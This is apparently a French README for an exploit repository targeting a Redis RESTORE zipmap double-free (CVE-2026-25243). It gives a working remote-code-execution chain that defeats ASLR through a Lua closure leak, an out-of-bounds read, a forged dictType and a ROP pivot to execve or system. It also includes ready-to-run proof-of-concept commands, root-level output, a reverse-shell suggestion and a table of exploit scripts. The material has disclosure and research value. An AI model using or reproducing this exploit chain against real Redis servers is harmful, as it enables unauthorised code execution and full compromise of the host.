
CVE-2026-25243 — Redis RESTORE zipmap double-free → exécution de code à distance (ASLR activé).
RESTORE → exécution de code à distanceTL;DR. Une charge utile
DUMPmalformée passée àRESTOREdéclenche un double-free du tas dans le chargeur hérité hash-zipmap de Redis. Avec le jemalloc par défaut, le double-free est silencieux (le serveur continue de tourner), ce qui en fait une primitive de type confusion contrôlable. Ce dépôt enchaîne cela en exécution de code à distance avec ASLR activé — le worker Redis appellesystem("<chaîne de l'attaquant>")et continue à servir. Pas un DoS.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
La fuite qui neutralise l'ASLR n'utilise pas DEBUG — elle lit l'adresse de la fermeture C de Lua redis.call
(EVAL 'return tostring(redis.call)'), la même technique autonome et sans DEBUG que notre exploit
Redis précédent. blob_base/blob_robj et la base PIE sont ensuite dérivés à l'exécution à partir de la
lecture hors limites (aucun décalage fixe). La fin en PIE-ROP appelle execve@plt via un stack-pivot JOP, elle n'utilise donc
aucune adresse libc — les seules constantes spécifiques à la compilation sont les décalages de gadgets relatifs au PIE lus depuis le binaire
redis-server, exactement comme la table de gadgets par compilation de notre précédent exploit HLL. Vérifié uid=0(root),
ASLR activé, 8/8, sur un serveur par défaut avec DEBUG désactivé.
Deux finalisations sont fournies.
poc_rce_aslr_pie_rop.py(ci-dessus) est la plus autonome — pas de libc, entièrement auto-calibrée — maisexecveremplace le worker (utilisez un--cmdde reverse-shell ; idéal pour un vrai shell).poc_rce_aslr_selfcal.pygarde le worker vivant (system()fork) au prix de deux décalages de version de libc. Choisissez selon que vous avez besoin que le serveur survive.
RESTORE key 0 <DUMP-payload> désérialise un objet sérialisé. Pour le type hérité RDB_TYPE_HASH_ZIPMAP
(0x09), le validateur et le convertisseur ne sont pas d'accord sur le nombre d'octets qu'occupe un champ de longueur :
zipmapValidateIntegrity() parcourt avec la taille réellement encodée (5 pour le préfixe surdimensionné 0xFE) ;zipmapNext() lors de la conversion zipmap → listpack utilise 1 octet pour toute longueur décodée < 254.Une petite longueur écrite sous la forme surdimensionnée de 5 octets passe la validation mais fait
se décaler zipmapNext() de 4 octets. Deux conséquences découlent du même mauvais décalage : une lecture hors limites du tas
(zipmap.c) et, uniquement dans Redis, un double-free du tas dans le chargeur hash-zipmap de rdb.c :
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
Valkey protège cela (if (!field_added) sdsfree(field)) ; Redis en amont ne le faisait pas, donc le double-free est
exclusif à Redis. Le correctif rejette la courte longueur encodée de façon surdimensionnée et réordonne les vérifications au moment du chargement.
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
Le dictType factice est planté dans une chaîne de 16 Mo (SETRANGE) au seul décalage dont les octets de poids faible
de l'adresse correspondent à l'en-tête sds de la chaîne de l'attaquant. L'ASLR est vaincu entièrement à l'exécution :
system — une seule fuite de pointeur tas. Le chemin recommandé est sans DEBUG : l'adresse de
la fermeture C de Lua redis.call (EVAL 'return tostring(redis.call)') — la même fuite autonome
qu'utilise notre précédent exploit Redis. Les arènes jemalloc se trouvent à un décalage constant de libc, donc
system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT n'est qu'une commodité de laboratoire quand le scripting
est désactivé mais que DEBUG est activé — la configuration plus rare.)SET pour que son membre soit une sds SDS_TYPE_32 de 107 Ko, SMEMBERS fait une lecture hors limites
du tas adjacent, et le robj.ptr du blob est lu à son décalage connu.Voir WRITEUP.md pour l'analyse complète primitive par primitive et les détails jemalloc /
Redis-8.x durement acquis (frontière de la classe 64, marquage des entrées de dict, mstr des champs de hachage, pré-croissance du keyspace).
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
| fichier | ce qu'il démontre |
|---|---|
★ exploits/poc_rce_aslr_pie_rop.py | la plus autonome — RCE sur un Redis par DÉFAUT (DEBUG désactivé), AUCUN décalage libc ; auto-calibre blob_base/blob_robj/pie_base ; execve@plt via pivot JOP (le worker est remplacé). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | survit au worker — même chaîne mais hashFunction=&system (fork) ; coûte deux décalages de version libc (DLIBC/SYSTEM_OFF). Fuite de fermeture Lua, auto-calibrage de blob_base/blob_robj. |
exploits/poc_rce_aslr_nodebug.py | sans DEBUG (fuite Lua), mais avec des décalages fixes (calibrés avec DEBUG activé) |
exploits/poc_rce_aslr.py | variante de commodité laboratoire : fuite d'amorçage DEBUG OBJECT (nécessite DEBUG activé) |
exploits/poc_rce_aslr_off.py | RCE avec ASLR désactivé (adresses calibrées) |
exploits/poc_typeconfusion.py | double-free → deux clés partagent un même tampon du tas (sans outillage) |
exploits/poc_doublefree.py | le double-free (ASan : heap-use-after-free dans sdsfree) |
exploits/poc_dos_overread.py | le crash de lecture hors limites (ASan) |
DEBUG)